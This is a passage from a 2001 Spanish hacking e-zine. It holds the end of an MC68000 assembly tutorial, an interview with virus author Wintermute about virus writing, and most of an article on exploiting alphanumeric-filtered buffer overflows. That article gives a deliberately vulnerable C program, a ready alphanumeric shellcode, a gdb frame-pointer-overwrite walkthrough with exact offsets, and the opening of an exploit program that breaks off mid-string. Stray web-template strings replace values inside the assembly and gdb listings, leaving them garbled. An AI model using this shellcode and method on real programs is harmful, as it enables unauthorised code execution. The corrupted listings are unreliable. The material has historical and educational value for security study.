se genera otra, el nivel de prioridad de esta interrupcion debe ser superior a la mascara, o se ignorara. ===== [ Ejemplo practico ] Aqui os dejo un pequeño ejercicio practico para que veais como funciona el 68000. Tendreis que utilizar el simulador. No voy a explicar como funciona, porque es bastante intuitivo. Simplemente, teneis que compilar y linkar el codigo y ejecutarlo en el simulador. Dentro del simulador, antes de ejecutar debereis configurar las posiciones de memoria de los puertos de entrada y de salida que necesiteis (aqui uso como entrada 000 y como salida 001) y configurar la ventana para que muestre esos puertos y ver su contenido durante la ejecucion. Tambien podeis ejecutar en modo traza. Bien, el objetivo es el siguiente: Tenemos un sistema de 8 leds conectados a la posicion de memoria 000 de un sistema digital con un micro MC68000. Cada uno de esos leds se enciende cuando recibe un "1" logico, y se apaga al recibir un "0". En el puerto de entrada, situado en la posicion 001, si se pone un 1 los leds deben parpadear mientras ese 1 siga ahi. Si se pone un 2, los leds deben hacer un efecto estilo el coche fantastico Kit (bueno, los malotes si lo preferis le poneis leds verdes y ya esta :P). Si se pone cualquier otro dato, los leds continuaran apagados. Tambien tenemos un pulsador conectado a las lineas de interrupcion, que genera una interrupcion de nivel 2 (IRQ2). Si lo pulsamos, apagamos todos los leds. [Nota:] Cada led esta conectado a un bit del primer byte del puerto de salida. <++> MC68K/ejem1.asm af4b3ca02cab78eace7500a4bc81df1 **** SIMULACION CON LEDS ABSOLUTE ORG {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}000 DC.L 000 * Inicializamos la SSP DC.L 000 ORG * Inicializamos la IRQ2 (Su autovector DC.L 000 * es el ) la direccion de comienzo * de la rutina de interrupcion sera * la 000 ORG 000 MOVE.L #000,A7 * Inicializacion de SP INICIO CLR.L D0 * Ponemos a 0 D0 MOVE.B 000,D0 * Leer entrada CMPI.B #1,D0 * Si es 1... BEQ PARPADEO * ...saltamos a parpadeo CMPI.B #2,D0 * Si es 2... BEQ COCHE * ...saltamos a COCHE JMP INICIO * Sino, reiniciamos **** Bucle FOR de $F a {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]} WAIT MOVE.W #$F,D1 ITER DBF D1,ITER * RTS **** Subrutina 1: Parpadeo PARPADEO MOVE.B #$FF,001 * Escribir 1's en el byte de salida (8 LEDS) JSR WAIT * Hacemos un retardo (Subrutina Bucle FOR) MOVE.B #{jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]},001 * Escribir 0's en salida CMPI.B #1,D0 BNE INICIO JSR WAIT JMP PARPADEO *** Subrutina 2: Coche Fantastico COCHE MOVE #1,D2 IZQUIERDA MOVE.B D2,001 * Poner 1 en salida JSR WAIT CMPI.B #2,D0 * Comprobar que D0 sigue siendo 2... BNE INICIO * ...sino volvemos al comienzo MULU #[*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt],D2 * Multiplicamos por 2 D2, asi tenemos el siguiente LED * que serian 1,2,4,8,16,32,64 y 128 en binario CMP #128,D2 * Se para en el ultimo bit encendido y cambia de * sentido BEQ DERECHA JMP IZQUIERDA DERECHA MOVE.B D2,001 JSR WAIT CMPI.B #2,D0 BNE INICIO DIVU #[*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt],D2 CMP #1,D2 * Se para en el primer bit encendido y cambia de * sentido BEQ IZQUIERDA JMP DERECHA ORG 000 * Direccion del codigo a continuacion PUESTACERO MOVE.W #0,D0 * Poner 0 en D0 RTE END <--> ===== [ NOTA ] Este articulo ha sido escrito para NetSearch Ezine, en base a conocimientos adquiridos sobre el MC68000 de Motorola. No se ha utilizado bibliografia publicada, por lo que no garantizo que todo sea correcto. El autor permite la traduccion y la reproduccion de este documento en otros medios, siempre y cuando sea avisado y la reproduccion sea integra (incluida esta nota). MoebiuZ < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla > 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x08 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ En contacto con Wintermute ]-============================================ =-[ por NetSearch ]-========================================================= __ ___ _ _ \ \ / (_)_ __ | |_ ___ _ __ _ __ ___ _ _| |_ ___ \ \ /\ / /| | '_ \| __/ _ \ '__| '_ ` _ \| | | | __/ _ \ \ V V / | | | | | || __/ | | | | | | | |_| | || __/ \_/\_/ |_|_| |_|\__\___|_| |_| |_| |_|\__,_|\__\___| INTRO En los ultimos meses el aumento del numero de virus ha hecho el agosto entre las compañias antivirus. Un gran numero de especimes de discutible codigo y filosofia ha provocado que la imagen del mundo virii vuelva a estar en el ojo del huracan de todas las criticas en los distintos medios de comunicacion. Desde NetSearch, y el aki presente, nos veiamos casi en la obligacion de dar la oportunidad de opinar a alguna persona que pudiera verse inmerso en este mar de mala fama. Logicamente, el haber tenido el placer de conocer y tener una muy buena relacion con nuestro amigo Wintermute, ha decantado la balanza para que el fuera nuestro elegido. Pues bien, no me entretengo mas.... En contacto con, Wintermute. ### Log session started at Mon May 21 17:09:20 2001 ### ----------------------------------- -- MODE TONO ENTREVISTA: OFF -- ----------------------------------- Hola winter chocho.... Heyyyy q pay x)). El otro dia me pase por #outlimit para ver si te cazaba y como no estabas el fly me ha pasado la dire para ponerme en contacto.... Ah, perdona, es que ultimamente no me acerco mucho por el IRC... te diria que es que estoy haciendo cosas productivas pero es q he pillao el Ultima Online xDDDDDD. Bueno, a ver, el motivo del mensaje es para ver si podria ser el hacerte una entrevista via IRC o mail o lo para la NetSearch Ezine #6. Enga fiera, a ver si nos haces el favorcillo...... Por mi encantado (toda oportunidad para desquitarme de que los VX parezcamos malvados... xD)... ah, estooop... si, si puede ser por mail mejor, mas tranquilidad... OK winter pues lo vamos haciendo a base de mails...no problem.... Vamos a empezar poco a poco..... ---------------------------------- -- MODE TONO ENTREVISTA: ON -- ---------------------------------- Hola winter....que tal? Bien, supongo, ¿Esto forma parte del Test? (ahora tu me dices que no pero que era para calentarme, yo que no me hace gracia, acabas preguntandome sobre mi madre y me mosqueo y soy un replicante y.. y.. vale, que pasa, llevo toda la tarde encerrado leyendo documentacion y estoy rallao xDDDDD). Pues bueno, cuentanos un poquito para empezar, como un tio como tu acaba metiendose en el mundillo virii? como empezo todo? Phew, la verdad es que la atraccion por los virus informaticos viene desde que tuve mi primer PC, un 286. Me podia pasar mis horas leyendo descripciones de virus de algunos antivirus de aquella epoca como el CPAV (te hablo de hace cosa de 8 años)... evidentemente no tenia ni idea de como funcionaba todo eso, solo me quedaba fascinado con las descripciones y pensando como funcionaria eso. Bastante despues, hace unos 5 años, aprendi ensamblador y compre un modem, y empece a conectar a BBSs. Fue ahi donde encontre gente que tenia bastante idea del tema y de la que pude aprender muchisimo; por una parte gente de Edison's Temple que me echo un cable en los primeros pasos, por otra como no, la BBS de intercambio de virus Darknode y su red, Darknet, donde se juntaba una buena cantidad de gente con conocimientos sobre el tema... con ellos, tiempo despues, se fundo la primera 29A en la que estabamos 13 personas, como digo salidas mayoritariamente de Darknet. Cuentanos cual fue tu primer reto serio?. En que consistia? Quiza fue el virus Tupac Amaru; su caracteristica particular es la de ejecutarse al reves, del final al principio (tiene el codigo almacenado de abajo a arriba y se ejecuta utilizando la interrupcion de debugging para poder decrementar el registro IP cada vez que ejecuta una instruccion), lo que hace que pocos o ningun debugger puedan seguirle la pista. Recuerdo que PcActual utilizo un virus tuyo para hacer una comparativa de capacidad de respuesta de las compañias antivirus....simple curiosidad, te lo pidio?, lo diseñastes adrede para ellos? costo mucho? Estuve unos diez meses haciendo ese virus, Ithaqua (de hecho ocupa unos 8kb, conteniendo cosas como un emulador de codigo, dos engines polimorficos, etc). Respecto a la PcActual, estuvimos comentando que querian un virus para probar a los servicios tecnicos de las compañias antivirus y dio la casualidad de que el Ithaqua estaba casi acabado con lo que lo utilizamos para ponerlos a prueba... Hablando de compañias antivirus, crees en la dicha que dice que son las propias empresas quienes diseñan gran parte de de los virus para asi asegurarse las ganancias y por tanto el futuro? Nah, no creo que sea cierto. Ojo, que pueden haber escritores de virus que se apunten a trabajar en ellas dado que pocos tendran un conocimiento base asi para hacerlo, pero no me creo que una empresa seria se dedique a hacer esas cosas; hay suficientes escritores de virus como para que no tengan que crearse ellos mismos el negocio. Ese es un tema interesante, cual crees que es la razon de que cada vez haya mas viriis? (se escribe asi?, corrigeme XD). Hummm yo diria "virus" simplemente, el plural extraño seria "virii" al estilo latin peroooo yo que se, suena demasiado "cool" xDDDD. Quiza la aparicion de nuevas vias menos complicadas a la hora de programar un virus (vease MAcro o VBS)? Justo esa (vaya, es que esta pregunta se responde con un si o no xD). Bueno, y a todo esto, que es lo que lleva a una persona tan loka como tu a dedicar tiempo a esto?. Mas que nada porque con la mala imagen que hay en los medios y distintos organismos de todos vosotros, es un poco ir a buscar los problemas no? Por suerte programar virus informaticos asi como distribuirlos dando informacion acerca de lo que son (es decir, no infectando a nadie) es completamente legal segun al legislacion española, y lo unico ilegal es - como resulta logico - infectar a alguien con ellos. Mientras no traspases esa linea tan solo estas haciendo software que realiza copias de si mismo, con lo que poco te van a poder hacer... lo de la buena/mala imagen pues depende del punto de vista de cada uno; realmente me da igual tener mala imagen ante el tipo de gente que a pesar de saber que no me dedique a infectar a usuarios siga considerandome algun tipo de "terrorista". Si alguien es tan cerrado de cabeza como para considerar un terrible criminal a alguien que escribe un programa que hace copias de si mismo, pues alla el. Y de los kiddies, algo que decir/les? Tanto en el "hacking" como en "virus", la popularizacion de Internet ha traido una nueva generacion de mega-malos que quieren ser los amos de Internet y los m3g4-h4x0rs... para mi es un problema mas que nada de actitud; con un metodo facil como programar un virus en VB mas de uno pretende ser muy malo y muy conocido, en una actitud que personalmente me parece un tanto patetica... y no es algo que afecte a lo que podrias llamar "kiddies" sino a muchos otros en general... el problema como digo es de "actitud", ese intento de ser los mega-malos... ¿que les diria? Que hagan las cosas porque les apetezca, porque se lo pida el cuerpo, no por quedar como si fueran lo mas 31337; la esencia antes que la apariencia. Como piensas que seran las posibilidades de los virus del futuro? Queda algo por descubrir? Podemos considerar que ya hemos creado formas primitivas de vida artificial en los virus informaticos; para mi el siguiente paso siempre ha estado claro, y es el de añadirles inteligencia... lamentablemente ahora mismo hay pocas cosas nuevas en la scene VX, y se insiste una y otra vez sobre lo mismo; las mismas tecnicas aplicadas a otros sistemas operativos, y quiza alguna innovacion con el uso de la Red como hace el Hybris de Vecna. Pero alguien tiene que dar un buen paso de cara a la IA... Segun winter, cual es la mejor manera de no infectarse?. Y no me vale teniendo el ordenador apagado, que nos conocemos bacalao....XD Hace un tiempo nunca te habria respondido asi, pero la verdad, la mejor forma es bajarte las cosas de sitios fiables (y sobre todo no ejecutar cosas attacheadas a tu correo electronico, parece una estupidez pero por algun motivo todo el mundo lo hace xD). Personalmente cuando no me fio de algo lo abro con un debugger y le echo un vistazo, o cojo de vez en cuando ficheros del windows y les echo un vistazo a ver si tienen algo; una solucion mas asequible es utilizar algun antivirus decente tipo AVP. Bueno, y volviendo a ti, en que proyectos andas metido? Ultimamente ando algo apartado de este tema por falta de tiempo (estoy metido en un laboratorio de IA y no me deja mucho tiempo, aunque le estoy dedicando bastante al curso de programacion de virus que voy publicando en mi pagina y en Outlimit). Hago mis cositas de vez en cuando, pero me niego a sacar nada a no ser que tenga algo minimamente interesante/original que decir. Estuvimos con la gente de outlimit en la hackmeeting (por cierto, muchas caras conocidas.... un saludo a todos), el caso es que alli pudimos ver la presentacion de este proyecto... pero como no estuvo todo el mundo, pues nada, aki tienes una oportunidad para explicarnos en que consiste y vamos...un poco de todo.... Si, quiza la definicion clave para Outlimit es "libertad de la informacion". El proyecto se basa en que todos tenemos algo que enseñar, y por supuesto, que aprender; pretende que cada uno intente dar aquello que tiene y aprovechar lo que los demas pueden ofrecer, intentando de este modo escapar un poco a esta concepcion ridiculamente comercial de una Red donde todo se compra y se vende. (ya terminamos.... :*, gracias por la atencion tio, espero que no este siendo muy pesado, es que estoy aprovechando la oportunidad que no veas.....) Jijiji nada nada, perdona q este tardando un poco pero es q estoy hasta arriba, por eso preferi lo de los mails x)). Simple curiosidad: Windows, Linux, BSD, Solaris....que preferimos? Depende de para que... personalmente utilizo Linux ultimamente si quiero hacer cosas relacionadas con redes, programacion, virus, u otras para las que prefiera un SO robusto. Al tiempo utilizo Windows para otras cosas como componer musica, juegos (Ultima Online roolz jeje) y por ese peaso de programa de correo electronico que es el Becky xD. Otros SO pues los he visto por encima asi que no me atrevo a opinar. Y ya que estamos, que piensas de la relacion Linux-Virus? Bueno hay una cosa comodisima con el Linux y es que cuando te peta lo que estas haciendo en vez de reventar todo simplemente aparece un mensajito de "Segmentation Fault" y sigues adelante. Alegra bastante no tener que resetear cada vez que pruebas tu bichito con la consiguiente perdida de tiempo. Respecto a virus para Linux en si, creo que esta comunidad tiene cierto exceso de confianza; ya hable en la hackmeeting de la terrible vulnerabilidad de los RPM de RedHat, el que para mi es el gran agujero que podria dar lugar a una infeccion masiva (los "triggers"). Ahora al parecer - si no se ha hecho ya - se va a unificar el formato RPM con el de paquetes de Debian, habra que esperar y ver que hacen con eso... FIN.- Bueno winter, lo que hace la confianza, wintermute :P, pues un placer fue verte de nuevo en la Hackmeeting y un placer ha sido el charlar por aqui contigo. Gracias por tu tiempo...y nada, saluda a Neko y a esta gente cuando la veas por ahi.... Enga lo hare x))), si me paso por IRC, claro xDDD... Algo que añadir? Joer y ahora que añado yo pffffff... queeee no hagais caso de lo que digo, que os he estado mintiendo durante toda la entrevista, que los escritores de virus son muy malos y no os junteis con ellos, que en realidad son adolescentes antisociales que disfrutan viendo como sus virus destruyen los ordenadores de los demas porque esta comprobado al 100% que tienen problemas de relacion social y estan dando escape a su odio contra el mundo que les rodea y con el que no han sabido relacionarse vengandose mediante delitos con los que ademas engrandecen su ego y... y... y joer menuda sarta de chorradas xDDDDD pero algo parecido suelen decir cuando se meten contigo, ¿nop? xDDD. Espero no haya sido muy asquerosa.... pero hasta he preguntado cosas que me curioseaban a mi, y claro, la curiosidad es mu mala....muchas gracias loka.... A ti x) :DDD. ### Log session terminated at Tue May 24 21:22:48 2001 ### [Nota de Editor: Pues nada.. solo mandarle un saludo desde aqui a Winter y darle las gracias personalmente por la entrevista. Thanks y hasta otra ;-).] NetSearch 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x09 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Overflows Alfanumericos ]-=============================================== =-[ por RaiSe ]-============================================================= ---------------- // 0.- Indice ---------------- 0.- Indice 1.- Prologo 2.- Programa Vulnerable 3.- Shellcode 4.- Examinando Pr. Vulnerable 5.- Xplotando Pr. Vulnerable 6.- Conclusion ---------------- // 1.- Prologo ---------------- Hasta ahora se creia (o al menos yo lo creia) que los programas que chequeaban de alguna manera la entrada de datos alfanumericos estaban exentos de ser victimas de un xploit. Eran varios los inconvenientes. El mas inmediato surgia ante la no existencia de shellcodes alfanumericas, con lo que nos encontrabamos imposibilitados a la hora de ejecutar codigo en nuestra makina. Esto, como sabran algunos lectores de NetSearch Ezine #5, ya no es un problema [sino sabeis de lo que hablo echarle un vistazo al articulo 0x4 de dicho numero para refrescar la memoria ;)]. Aun asi, aunque dispusieramos de una shellcode alfanumerica no era suficiente, ya que no podiamos escribir practicamente ninguna direccion de memoria, sobre todo del stack (0xbffftaltal), puesto que printeando esa dire no nos da valores alfanumericos. Pues bien, en este texto intentare describir un metodo para escribir xploits utiles con este tipo de overflows. No es un metodo generico, pero puede servir en algunas ocasiones. -------------------------------- // 2.- Programa Vulnerable -------------------------------- Como intentar xplotar este tipo de overflows de una forma generica es muy complicado me basare en un codigo que suele repetirse en bastantes programas conocidos. Es el siguiente.. <++> alphanum/codigo1.c $e611bcb72f01ec4f59d956c0f7d9af08 /* * Programa vulnerable (overflows alfanumericos) */ #include #include #include #include #include int check(char *str) { char buffer[1024]; int n=0; bzero(buffer,1024); while((str[n] != 0x00) && (isalnum((unsigned char)str[n]))) buffer[n] = str[n++]; if (str[n] != 0x00) { printf("El string contenia un valor no alfanumerico.\n"); exit(-1); } printf("string: %s\n", buffer); return(0); } main(int argc, char *argv[]) { if (argc < 2) { printf("%s string\n", argv[0]); exit(-1); } check(argv[1]); } <--> Este codigo es de un programa hipotetico. Se limita a llamar a la funcion check() con un argumento que es argv[1]. Check() simplemente va copiando el el contenido de su argumento a un buffer local hasta que encuentra un null o un caracter no alfanumerico (alfnum a partir de ahora). En caso de esto ultimo sale del programa inmediatamente con un exit(). Si todos los caracteres son alfnum retorna a main con un return(0). Ahora probemos el programilla.. [raise@apolo alpha]$ gcc -g -o codigo1 codigo1.c [raise@apolo alpha]$ ./codigo1 hoooooooooolaaaaaaaaaaaaaaaaa string: hoooooooooolaaaaaaaaaaaaaaaaa [raise@apolo alpha]$ ./codigo1 hoooooooooolaaaaaaaaaaaaaaaaa~ El string contenia un valor no alfanumerico. Como vemos funciona.. Resumiendo, necesitamos meter una shellcode que solo contenga letras (valen mayusculas & minusculas) y numeros, y arreglarnoslas para conseguir saltar a ella. Todo eso metiendo unicamente en el string caracteres alfnum, es decir, todos estos no valen: "_.,%\/-()=", etc. etc. [Nota: El espacio en blanco tampoco sirve]. Parece complicado, verdad?. Pues no lo es tanto como veremos.. Empecemos analizando la shellcode, ya que es un tanto especial. Por cierto, la scode que aparecio en NS #5 resulto inoperativa para este caso (y para cualquier overflow alfnum). Mas informacion en el siguiente apartado.. ------------------- // 3.- Shellcode ------------------- Como recordareis [los que lo hayan leido claro :)], en NS #5 publique una shellcode desarrollada por mua alfanumerica (dentro en un articulo de scodes). Venia bastante explicada y eso, asi que no me voy a repetir con lo mismo. Solo dos pequeños apuntes.. El primero se refiere al metodo que usaba la anterior scode para poder poner 'nops' (desarrollado por Fatuo - Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla ). Ese metodo consistia en suponer que el 'xploteador' (persona que programaba el xploit), se encargaria de sobreescribir el registro %ebp con la direccion de la shellcode (aparte de sobreescribir la propia dire de retorno claro). Luego se iba incrementando %ebp con el caracter 'E', que es la instruccion 'incl %ebp', y que actuaria a modo de nop. El problema es que a la hora de xplotar un programa de estas caracteristicas resulta imposible sobreescribir el registro %ebp con la direccion de la scode, ya que no se pueden poner caracteres no alfnum, con lo que el metodo es inoperativo. La solucion pasa por programar otro tipo de scode alfanumerica, a la que se le puedan 'meter' nops. El resultado es lo que sigue a continuacion, una scode a la que se le pueden 'meter' un maximo de 200 nops. La limitacion de nops es debido a que por cada nop que le pueda poner 'delante', hay que ponerlo detras, con lo que la longitud de la shellcode puede crecer desmesuradamente en un momentin de nada XD. Esta version ocupa 418 bytes. Siento no explicar ni poner el codigo de la scode, pero el arti creceria excesivamente :(. Para mas informacion podeis leer el articulo 'Shellcodes en Linux/i386 (2)', en NetSearch Ezine #5. El nop que usaremos en este caso sera 'G', que corresponde a la instruccion 'incl %edi'. NOTA: Esta shellcode la hice hace bastante tiempo, pero tuve que modificarla ligeramente a ultima hora para este articulo. Debido a ello el codigo esta sin optimizar, seguramente podria reducirse su tamaño de forma considerable. Codigo de la shellcode (418 bytes): <++> alphanum/shellcode.h c680c747e87efe8572ffcb438abcfac char shellc[] = // nops here .. "DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi" "fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX" "f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02" "L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG" "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG" "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG" "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"; <--> ---------------------------------- // 4.- Examinando Pr. Vulnerable ---------------------------------- Para este primer ejemplo el metodo que usaremos sera el de "frame pointer overwriting", documentado ampliamente en Phrack55 (articulo 8), por klog < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla >. Pues bien, en este ejemplo lo tenemos bastante facil. Bastaria con sobreescribir el %ebp guardado con la direccion del %ebp real mas 4 bytes. Es decir, debemos hacer que a la hora de hacer el ret, en %esp este la direccion del argumento que le pasamos a check(). Veamoslo con el gdb (las direcciones estan sacadas de una Mandrake 8.0 con kernel 2.4.3). [raise@apolo alpha]$ gdb -q codigo1 (gdb) set args AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (gdb) break check Breakpoint 1 at 0x80484f9: file codigo1.c, line 15. (gdb) r Starting program: /home/raise/ns6/alpha/codigo1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check (str=0xbffff97f 'A' ) at codigo2.c:15 15 int n=0; (gdb) disass check Dump of assembler code for function check: 0x80484f0 : push %ebp 0x80484f1 : mov %esp,%ebp 0x80484f3 : sub {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x418,%esp 0x80484f9 : movl {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x0,0xfffffbf4(%ebp) 0x8048503 : sub {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x8,%esp [ codigo que no nos interesa ] 0x80485b7 : call 0x80483a8 0x80485bc : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x10,%esp 0x80485bf : mov {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x0,%eax 0x80485c4 : mov %ebp,%esp 0x80485c6 : pop %ebp 0x80485c7 : ret End of assembler dump. (gdb) break *0x80485c4 Breakpoint 2 at 0x80485c4: file codigo1.c, line 31. (gdb) c Continuing. string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 2, check (str=0xbffff97f 'A' ) at codigo1.c:31 31 } (gdb) x/4xw $ebp 0xbffff768: 0xbffff788 0x08048610 0xbffff97f 0x40015a84 Madre mia que rollo he soltado XD. Como vemos la direccion del %ebp guardado es 0xbffff788, y se encuentra en 0xbffff768. La direccion de retorno es 0x08048610, y la del argumento 'str' 0xbffff97f. Pues bien, lo unico que tenemos que hacer es sobreescribir un byte del %ebp guardado para que apunte a 0x0xbffff768 + 4, con lo que al hacer el ret saltara a la direccion del argumento. Aqui cabe hacer una pequeña aclaracion. Aunque en el codigo del programa la cantidad que se reservara en el stack para nuestro buffer siempre sera la misma, dependiendo de la longitud que le metamos a argv[1] el valor inicial de %esp variara. En nuestro caso no se comprueba cuantos argumentos se le pasan a main (como en la mayoria de los programas), sino que se comprueba que no sea menor de dos. De esta forma si el valor de %ebp no nos coincide para que el ultimo byte de su valor + 4 sea alfanumerico, podemos ir jugando con la longitud de argv[1] (o argv[2], vale cualquiera en nuestro caso), para ir alineando %esp hasta que nos coincida. La explicacion de por que varia se debe a que los argumentos pasados a main() tambien se guardan en la pila, y a mas longitud de los mismos mas stack hay que reservar. Tambien es posible que sino podemos meter nada en argv[2] podamos alinear la pila usando variables de entorno. En nuestro caso particular deberiamos sobreescribir 1 byte de %ebp con el valor 0x6c (0x68 + 4), cuyo valor en la tabla ascii es 'l'. Y digo deberiamos porque como %esp es variable debemos calcular los valores 'reales' del stack metiendo la cantidad exacta de bytes de prueba. Es decir, 1024 bytes del buffer + 1 que usaremos para sobrescribir %ebp = 1025 (0x401) bytes. Bien.. eso seria lo logico, pero como estamos usando las binutils nuevas (estoy en mandrake 8.0), en vez de reservar 1024 bytes se han reservado 1032, por lo tanto necesitamos 1033 para sobreescribir %ebp. Si quereis mas informacion sobre el nuevo funcionamiento de las binutils podeis leeros un articulo de Angel Ramos < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla > que lo explica muy bien, esta disponible en http://packetstorm.securify.com/papers/unix/disassembling.txt. Hagamos la prueba.. [raise@apolo alpha]$ gdb -q codigo1 (gdb) set args `perl -e 'print "A" x 1033;'` (gdb) break *0x80485c4 -> direccion de antes, en check() Breakpoint 1 at 0x80485c4: file codigo1.c, line 31. (gdb) r Starting program: /home/raise/ns6/alpha/codigo1 `perl -e 'print "A" x 1033;'` string: AAAAAAAAAAAAAAAAAAAAAAAA [ muchas A's ] AAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check (str=0xbffff5a5 'A' ...) at codigo1.c:31 31 } (gdb) x/4xw $ebp 0xbffff398: 0xbffff341 0x08048610 0xbffff5a5 0x40015a84 Genial, 0x98 + 4 = 0x9c, que no es un valor alfnum. Veamos.. si restamos 0xbffff398 - 0x50 nos da 0xbffff348, y 0x48 + 4 nos da 0x4c que si es un valor alfum ('L'). Es decir, necesitamos meter 0x50 bytes mas en la pila para que nos coincida %esp. Como en argv[1] no podemos meter ni 1 byte mas pq fastidiariamos el xploit, vamos a meterlos en argv[2]. Probemos again.. [raise@apolo alpha]$ gdb -q codigo1 (gdb) set args `perl -e 'print "A" x 1033;'` `perl -e 'print "A" x 80;'` (gdb) break *0x80485c4 Breakpoint 1 at 0x80485c4: file codigo1.c, line 31. (gdb) r Starting program: /home/raise/ns6/alpha/codigo1 `perl -e 'print "A" x 1033;'` `perl -e 'print "A" x 80;'` string: AAAAAAAAAAAAAAAAAAAAAAAA [ muchas A's ] AAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check (str=0xbffff554 'A' ...) at codigo1.c:31 31 } (gdb) x/5xw $ebp 0xbffff348: 0xbffff341 0x08048610 0xbffff554 0x40015a84 Bueno, parece que la cosa funciona :). Ahora solo necesitamos hacer el xploit con la shellcode alfanumerica y listo (o no?..). Pasemos al siguiente apartado. ---------------------------------- // 5.- Xplotando Pr. Vulnerable ---------------------------------- Pues bien, ahora que ya sabemos las direcciones de memoria exactas lo logico seria pensar que ya podemos hacer el xploit.. pues no, todavia falta una cosa mas. Nosotros hemos visto las direcciones teoricas usando gdb, el problema es que entre usar un debugger y no usarlo las direcciones de memoria varian ligeramente. Por lo tanto tenemos que averiguar las direcciones REALES, sin usar gdb. Como?, pues lo mas sencillo es provocando un 'core dump'. Si tenemos acceso al codigo fuente del programa lo mas sencillo es meter un 'while(1);' donde nos apetezca, y luego desde otra terminal hacer algo como 'kill -s 3 pid', con lo que conseguiremos un core muy guapeton. Sino tenemos acceso al codigo fuente habra que apañarselas para provocar un core. Nosotros supondremos que no tenemos acceso a el. Pensemos.. que tal si hacemos lo siguiente? (recordemos que la cantidad de bytes a introducir tiene que ser exacta): [raise@apolo alpha]$ ./codigo1 `perl -e 'print "A" x 1036;'` `perl -e 'print "A" x 77;'` Violacion de segmento (core dumped) [raise@apolo alpha]$ Vaya, parece que ha funcionado :). Lo que hemos hecho ha sido sobreescribir %ebp integramente para asegurarnos el core, y restar los bytes de mas a argv[2] para que nos coincida el alineamiento. Como la direccion va a seguir siendo aproximada a la que era cuando usabamos el gdb, podemos empezar a buscar en las cercanias de 0xbffff368, que era la direccion real de %ebp durante la ejecucion de main(). Observemos.. [raise@apolo alpha]$ gdb -q --core=core Core was generated by `./codigo1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x08048615 in ?? () (gdb) x/10xw 0xbffff368: 0x41414141 0x08048610 0xbffff570 0x40015a84 0xbffff378: 0xbffff3fc 0x080484d1 0x080496f8 0x080497dc 0xbffff388: 0xbffff3c8 0x400401f0 0x00000003 0xbffff3fc 0xbffff398: 0xbffff40c 0x08048366 0x0804865c 0x00000000 0xbffff3a8: 0xbffff3c8 0x400401da 0x00000000 0xbffff40c Al parecer la direccion 0xbffff368 ahora corresponde al valor de %ebp, pero durante la ejecucionde check(): 0x41414141 es el %ebp guardado que acabamos de sobreescribir, 0x08048610 la direccion de retorno a main(), y 0xbffff570 el argumento (lo que nos interesa). Mas abajo estan distintos valores realizados por push's en main(), y luego su direccion de retorno (0x400401f0), argc (0x00000003), etc.. Pues bien, segun esto necesitamos sobreescribir el ultimo byte del %ebp guardado con 0x68 + 4 = 0x6c = 'l'. El valor de %ebp lo hemos sobreescrito, pero originalmente seria algo como 0xbffff3XX, siendo XX lo que vamos a sobreescribir. Y sino nos lo creemos probemos.. [raise@apolo alpha]$ ./codigo1 `perl -e 'print "A" x 1033;'` `perl -e 'print "A" x 80;'` Violacion de segmento (core dumped) [raise@apolo alpha]$ gdb -q --core=core Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/2xw 0xbffff368 0xbffff368: 0xbffff341 0x08048610 Efectivamente :). Bueno, pues ahora solo queda hacer el xploit.. <++> alphanum/xp.c $bbc715e1eb3be6d1b77eff5d5376d9e4 /* * Xploit (overflows alfanumericos) */ #include #include #include #include extern char **environ; main() { int i; char buf[2048], pad[128]; char *arg[4]; char *path = "./codigo1"; char shellc[] = // nops here .. "DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi" "fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX" "f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02" 